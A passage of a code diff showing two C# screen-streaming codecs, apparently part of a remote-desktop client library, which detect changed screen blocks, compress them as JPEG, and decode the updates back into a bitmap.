private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
private List<PopulairPoint> populairPoints;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
private Stopwatch ScreenRefreshSW = Stopwatch.StartNew();
|
||||
|
||||
//options
|
||||
/// <summary> If a part in the image is been changing for the last x milliseconds it will be seen as a video </summary>
|
||||
public uint AliveTimeForBeingVideo = 5000;
|
||||
/// <summary> This will check if the video went away or stopped playing so it will refresh the other parts in the image </summary>
|
||||
public uint ScreenRefreshTimer = 2000;
|
||||
/// <summary> The size for being a video, if bigger or equal to the VideoScreenSize it must be a video </summary>
|
||||
public Size VideoScreenSize = new Size(100, 100);
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeOptimizedCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeOptimizedCodec(int ImageQuality = 100)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.populairPoints = new List<PopulairPoint>();
|
||||
this.CheckBlock = new Size(15, 1);
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0 = (byte*)Scan0.ToInt32();
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (ScreenRefreshSW.ElapsedMilliseconds > ScreenRefreshTimer)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score == 0 || populairPoints[i].LastUpdate.Elapsed.Seconds > 5)
|
||||
{
|
||||
populairPoints.RemoveAt(i);
|
||||
}
|
||||
}
|
||||
ScreenRefreshSW = Stopwatch.StartNew();
|
||||
}
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
int TotalDataLength = 0;
|
||||
|
||||
List<byte[]> updates = new List<byte[]>();
|
||||
MemoryStream ms = new MemoryStream();
|
||||
byte[] buffer = null;
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
int index = 0;
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
PopulairPoint[] points = GetPossibleVideos();
|
||||
if (points.Length > 0)
|
||||
{
|
||||
ScanArea = new Rectangle(points[0].Rect.X, points[0].Rect.Y, points[0].Rect.Width + points[0].Rect.X, points[0].Rect.Height + points[0].Rect.Y);
|
||||
}
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
if (points.Length == 0) //only scan if there is no video
|
||||
{
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
{
|
||||
if (y == lasty)
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
index = Blocks.Count - 1;
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
y += s.Height;
|
||||
}
|
||||
|
||||
for (int i = 0, x = ScanArea.X; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
x = ScanArea.X;
|
||||
while (x != ScanArea.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool FoundChanges = false;
|
||||
int blockStride = PixelSize * cBlock.Width;
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride) != 0)
|
||||
FoundChanges = true;
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
}
|
||||
|
||||
if (onCodeDebugScan != null)
|
||||
onCodeDebugScan(cBlock);
|
||||
|
||||
if (FoundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
x += s.Width;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(points[0].Rect);
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat);
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
TmpBmp.UnlockBits(TmpData);
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
long length = outStream.Position;
|
||||
long OldPos = outStream.Position;
|
||||
base.jpgCompression.Compress(TmpBmp, ref outStream);
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = OldPos - 4;
|
||||
outStream.Write(BitConverter.GetBytes((int)length), 0, 4);
|
||||
outStream.Position += length;
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
//Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
|
||||
TmpBmp.Dispose();
|
||||
TotalDataLength += (int)length + (4 * 5);
|
||||
}
|
||||
|
||||
/*for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
buffer = new byte[blockStride * rect.Height];
|
||||
|
||||
fixed (byte* ptr = buffer)
|
||||
{
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy(ptr + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * PixelSize, Format, new IntPtr(ptr)))
|
||||
{
|
||||
buffer = base.jpgCompression.Compress(TmpBmp);
|
||||
|
||||
if (rect.Width > VideoScreenSize.Width && rect.Height > VideoScreenSize.Height)
|
||||
{
|
||||
PopulairPoint point = null;
|
||||
if (GetPopulairPoint(rect, ref point))
|
||||
{
|
||||
point.Score++;
|
||||
point.LastUpdate = Stopwatch.StartNew();
|
||||
Console.WriteLine("[" + populairPoints.Count + "]Video spotted at x:" + rect.X + ", y:" + rect.Y + ", width:" + rect.Width + ", height:" + rect.Height);
|
||||
}
|
||||
else
|
||||
{
|
||||
populairPoints.Add(new PopulairPoint(rect));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(buffer.Length), 0, 4);
|
||||
outStream.Write(buffer, 0, buffer.Length);
|
||||
TotalDataLength += buffer.Length + (4 * 5);
|
||||
}*/
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
Blocks.Clear();
|
||||
ms.Close();
|
||||
ms.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed(byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
private bool GetPopulairPoint(Rectangle rect, ref PopulairPoint PopuPoint)
|
||||
{
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
PopulairPoint point = populairPoints[i];
|
||||
if (point.Rect.Width == rect.Width &&
|
||||
point.Rect.Height == rect.Height &&
|
||||
point.Rect.X == rect.X &&
|
||||
point.Rect.Y == rect.Y)
|
||||
{
|
||||
PopuPoint = populairPoints[i];
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private PopulairPoint[] GetPossibleVideos()
|
||||
{
|
||||
List<PopulairPoint> points = new List<PopulairPoint>();
|
||||
for (int i = 0; i < populairPoints.Count; i++)
|
||||
{
|
||||
if (populairPoints[i].Score > 30)
|
||||
{
|
||||
points.Add(populairPoints[i]);
|
||||
}
|
||||
}
|
||||
return points.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,416 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using Client.StreamLibrary.src;
|
||||
|
||||
namespace Client.StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeStreamCodec : IUnsafeCodec
|
||||
{
|
||||
public override ulong CachedSize
|
||||
{
|
||||
get;
|
||||
internal set;
|
||||
}
|
||||
|
||||
public override int BufferCount
|
||||
{
|
||||
get { return 1; }
|
||||
}
|
||||
|
||||
public override CodecOption CodecOptions
|
||||
{
|
||||
get { return CodecOption.RequireSameSize; }
|
||||
}
|
||||
|
||||
public int ImageQuality
|
||||
{
|
||||
get { return _imageQuality; }
|
||||
private set
|
||||
{
|
||||
lock (_imageProcessLock)
|
||||
{
|
||||
_imageQuality = value;
|
||||
|
||||
if (_jpgCompression != null)
|
||||
{
|
||||
_jpgCompression.Dispose();
|
||||
}
|
||||
|
||||
_jpgCompression = new JpgCompression(_imageQuality);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Random random { get; set; }
|
||||
|
||||
public Size CheckBlock { get; private set; }
|
||||
private int _imageQuality;
|
||||
private byte[] EncodeBuffer;
|
||||
private Bitmap decodedBitmap;
|
||||
private PixelFormat EncodedFormat;
|
||||
private int EncodedWidth;
|
||||
private int EncodedHeight;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan;
|
||||
public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan;
|
||||
private readonly object _imageProcessLock = new object();
|
||||
private JpgCompression _jpgCompression;
|
||||
|
||||
bool UseJPEG;
|
||||
|
||||
/// <summary>
|
||||
/// Initialize a new object of UnsafeStreamCodec
|
||||
/// </summary>
|
||||
/// <param name="ImageQuality">The quality to use between 0-100</param>
|
||||
public UnsafeStreamCodec(int ImageQuality = 100, bool UseJPEG = true)
|
||||
: base(ImageQuality)
|
||||
{
|
||||
this.ImageQuality = ImageQuality;
|
||||
this.CheckBlock = new Size(50, 1);
|
||||
this.UseJPEG = UseJPEG;
|
||||
this.random = new Random(Guid.NewGuid().GetHashCode());
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
|
||||
// Tell the Garbage Collector to not waste time finalizing this object
|
||||
// since we took care of it.
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
protected virtual void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
if (decodedBitmap != null)
|
||||
{
|
||||
decodedBitmap.Dispose();
|
||||
}
|
||||
|
||||
if (_jpgCompression != null)
|
||||
{
|
||||
_jpgCompression.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream)
|
||||
{
|
||||
bool fix = random.Next(0, 9) ==0;
|
||||
lock (ImageProcessLock)
|
||||
{
|
||||
byte* pScan0;
|
||||
|
||||
if (IntPtr.Size == 8)
|
||||
{
|
||||
// 64 bit process
|
||||
pScan0 = (byte*)Scan0.ToInt64();
|
||||
}
|
||||
else
|
||||
{
|
||||
// 32 bit process
|
||||
pScan0 = (byte*)Scan0.ToInt32();
|
||||
}
|
||||
|
||||
if (!outStream.CanWrite)
|
||||
throw new Exception("Must have access to Write in the Stream");
|
||||
|
||||
int Stride = 0;
|
||||
int RawLength = 0;
|
||||
int PixelSize = 0;
|
||||
|
||||
switch (Format)
|
||||
{
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
PixelSize = 3;
|
||||
break;
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format32bppPArgb:
|
||||
PixelSize = 4;
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(Format.ToString());
|
||||
}
|
||||
|
||||
Stride = ImageSize.Width * PixelSize;
|
||||
RawLength = Stride * ImageSize.Height;
|
||||
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.EncodedFormat = Format;
|
||||
this.EncodedWidth = ImageSize.Width;
|
||||
this.EncodedHeight = ImageSize.Height;
|
||||
this.EncodeBuffer = new byte[RawLength];
|
||||
fixed (byte* ptr = EncodeBuffer)
|
||||
{
|
||||
byte[] temp = null;
|
||||
using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0))
|
||||
{
|
||||
temp = base.jpgCompression.Compress(TmpBmp);
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4);
|
||||
outStream.Write(temp, 0, temp.Length);
|
||||
NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (this.EncodedFormat != Format)
|
||||
throw new Exception("PixelFormat is not equal to previous Bitmap");
|
||||
|
||||
if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height)
|
||||
throw new Exception("Bitmap width/height are not equal to previous bitmap");
|
||||
|
||||
long oldPos = outStream.Position;
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
long TotalDataLength = 0;
|
||||
|
||||
List<Rectangle> Blocks = new List<Rectangle>();
|
||||
|
||||
Size s = new Size(ScanArea.Width, CheckBlock.Height);
|
||||
Size lastSize = new Size(ScanArea.Width % CheckBlock.Width, ScanArea.Height % CheckBlock.Height);
|
||||
|
||||
int lasty = ScanArea.Height - lastSize.Height;
|
||||
int lastx = ScanArea.Width - lastSize.Width;
|
||||
|
||||
Rectangle cBlock = new Rectangle();
|
||||
List<Rectangle> finalUpdates = new List<Rectangle>();
|
||||
|
||||
s = new Size(ScanArea.Width, s.Height);
|
||||
fixed (byte* encBuffer = EncodeBuffer)
|
||||
{
|
||||
var index = 0;
|
||||
|
||||
//for (int y = ScanArea.Y; y != ScanArea.Height; )
|
||||
for (int y = ScanArea.Y; y != ScanArea.Height; y += s.Height)
|
||||
{
|
||||
if (y == lasty)
|
||||
{
|
||||
s = new Size(ScanArea.Width, lastSize.Height);
|
||||
}
|
||||
|
||||
cBlock = new Rectangle(ScanArea.X, y, ScanArea.Width, s.Height);
|
||||
|
||||
//if (onCodeDebugScan != null)
|
||||
// onCodeDebugScan(cBlock);
|
||||
|
||||
int offset = (y * Stride) + (ScanArea.X * PixelSize);
|
||||
|
||||
if (NativeMethods.memcmp(encBuffer + offset, pScan0 + offset, (uint)Stride) != 0)
|
||||
{
|
||||
index = Blocks.Count - 1;
|
||||
|
||||
if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y)
|
||||
{
|
||||
cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height);
|
||||
Blocks[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
Blocks.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (int i = 0; i < Blocks.Count; i++)
|
||||
{
|
||||
s = new Size(CheckBlock.Width, Blocks[i].Height);
|
||||
|
||||
for (int x = ScanArea.X; x != ScanArea.Width; x += s.Width)
|
||||
{
|
||||
if (x == lastx)
|
||||
{
|
||||
s = new Size(lastSize.Width, Blocks[i].Height);
|
||||
}
|
||||
|
||||
cBlock = new Rectangle(x, Blocks[i].Y, s.Width, Blocks[i].Height);
|
||||
bool foundChanges = false;
|
||||
uint blockStride = (uint)(PixelSize * cBlock.Width);
|
||||
|
||||
for (int j = 0; j < cBlock.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (cBlock.Y + j)) + (PixelSize * cBlock.X);
|
||||
|
||||
if (NativeMethods.memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0)
|
||||
{
|
||||
foundChanges = true;
|
||||
}
|
||||
|
||||
NativeMethods.memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride);
|
||||
//copy-changes
|
||||
}
|
||||
if (fix)
|
||||
{
|
||||
foundChanges = true;
|
||||
}
|
||||
|
||||
if (foundChanges)
|
||||
{
|
||||
index = finalUpdates.Count - 1;
|
||||
|
||||
if (finalUpdates.Count > 0 &&
|
||||
(finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = finalUpdates[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
finalUpdates[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
finalUpdates.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/*int maxHeight = 0;
|
||||
int maxWidth = 0;
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
if (finalUpdates[i].Height > maxHeight)
|
||||
maxHeight = finalUpdates[i].Height;
|
||||
maxWidth += finalUpdates[i].Width;
|
||||
}
|
||||
|
||||
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
|
||||
int XOffset = 0;*/
|
||||
|
||||
for (int i = 0; i < finalUpdates.Count; i++)
|
||||
{
|
||||
Rectangle rect = finalUpdates[i];
|
||||
int blockStride = PixelSize * rect.Width;
|
||||
|
||||
Bitmap tmpBmp = null;
|
||||
BitmapData tmpData = null;
|
||||
long length;
|
||||
|
||||
try
|
||||
{
|
||||
tmpBmp = new Bitmap(rect.Width, rect.Height, Format);
|
||||
tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height),
|
||||
ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
|
||||
|
||||
for (int j = 0, offset = 0; j < rect.Height; j++)
|
||||
{
|
||||
int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X);
|
||||
NativeMethods.memcpy((byte*)tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride);
|
||||
//copy-changes
|
||||
offset += blockStride;
|
||||
}
|
||||
|
||||
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
|
||||
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
|
||||
outStream.Write(new byte[4], 0, 4);
|
||||
|
||||
length = outStream.Length;
|
||||
long old = outStream.Position;
|
||||
|
||||
_jpgCompression.Compress(tmpBmp, ref outStream);
|
||||
|
||||
length = outStream.Position - length;
|
||||
|
||||
outStream.Position = old - 4;
|
||||
outStream.Write(BitConverter.GetBytes(length), 0, 4);
|
||||
outStream.Position += length;
|
||||
}
|
||||
finally
|
||||
{
|
||||
tmpBmp.UnlockBits(tmpData);
|
||||
tmpBmp.Dispose();
|
||||
}
|
||||
|
||||
TotalDataLength += length + (4 * 5);
|
||||
}
|
||||
|
||||
outStream.Position = oldPos;
|
||||
outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4);
|
||||
}
|
||||
}
|
||||
|
||||
public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
{
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
return decodedBitmap;
|
||||
}
|
||||
else
|
||||
{
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
|
||||
public override Bitmap DecodeData(Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
using (Graphics g = Graphics.FromImage(decodedBitmap))
|
||||
{
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
|
||||
byte[] buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
//if (onDecodeDebugScan != null)
|
||||
// onDecodeDebugScan(rect);
|
||||
|
||||
